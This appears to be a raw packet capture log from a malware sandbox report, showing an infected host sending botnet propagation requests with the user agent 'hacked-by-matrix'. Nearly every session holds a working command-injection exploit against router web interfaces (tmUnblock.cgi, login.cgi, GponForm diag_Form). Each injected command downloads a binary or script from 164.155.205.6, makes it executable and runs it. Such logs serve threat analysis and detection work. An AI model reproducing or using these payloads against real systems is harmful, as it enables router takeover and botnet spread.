Mar 2, 2024 12:38:16.861826897 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:26.842937946 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:47.317493916 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.23	51078	212.18.201.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.359371901 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:07.590076923 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Sat, 02 Mar 2024 11:38:06 GMT Server: LANCOM Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 41 4e 43 4f 4d 3a 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 66 6f 6e 74 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 77 65 62 63 6f 6e 66 69 67 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 66 69 6c 65 73 2f 6a 61 76 61 73 63 72 69 70 74 2f 6f 75 74 73 69 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 70 72 65 76 65 6e 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 6e 6f 6a 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 62 6c 6f 63 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 69 6e 6c 69 6e 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 76 61 72 20 73 63 72 69 70 74 65 64 5f 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 29 3b 0d 0a 73 63 72 69 70 74 65 64 5f 63 73 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 63 73 73 22 3b 0d 0a 73 63 72 69 70 74 65 64 5f 63 73 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 2e 73 63 72 69 70 74 5f 68 69 64 64 65 6e 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 20 2e 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 62 6c 6f 63 6b 20 7b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 20 2e 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 69 6e 6c 69 6e 65 20 7b 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 20 22 3b 0d 0a 64 6f 63 75 6d 65 6e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <link rel="shortcut icon" href="/images/favicon.ico" type="image/x-icon"> <title>LANCOM: Error - Not Found</title> <meta charset="ISO-8859-1"> <link rel="stylesheet" type="text/css" href="/files/css/fonts.css"> <link rel="stylesheet" type="text/css" href="/files/css/webconfig.css"> <script src="/files/javascript/outside.min.js"></script> <noscript> <style> .outside_notification_preventer { display: none; } .outside_notification_nojs { display: inline !important; } .noscript_hidden { display: none !important; } .noscript_visible_block { display: block !important; } .noscript_visible_inline { display: inline !important; } </style> </noscript> <script>var scripted_css = document.createElement("style");scripted_css.type = "text/css";scripted_css.innerHTML = ".script_hidden { display: none !important; } .script_visible_block { display: block !important; } .script_visible_inline { display: inline !important;} ";documen
Mar 2, 2024 12:38:07.590140104 CET	1286	IN	Data Raw: 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 63 72 69 70 74 65 64 5f 63 73 73 29 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 64 69 76 20 69 64 Data Ascii: t.head.appendChild(scripted_css); </script> </head> <body> <div id="outside_page_area"> <div id="outside_content_area"> <div id="outside_box"> <div id="outside_box_lower"> <div id="outsid

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.23	54472	212.33.137.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.369153976 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:08.442946911 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:08.652358055 CET	456	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15552000 location: https://:443/login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Date: Sat, 02 Mar 2024 11:38:08 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.23	58140	172.67.107.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.592159986 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.23	40702	191.61.33.172	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.611840963 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:08.315129995 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:09.691240072 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:12.510422945 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:18.137630939 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:29.144346952 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:51.416929960 CET	434	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.23	54430	172.64.172.10	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.680623055 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.23	44860	172.67.187.223	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.681292057 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.23	46988	85.215.214.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.812342882 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:07.999929905 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:07 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.23	33520	52.71.108.24	80

Timestamp	Bytes transferred	Direction	Data
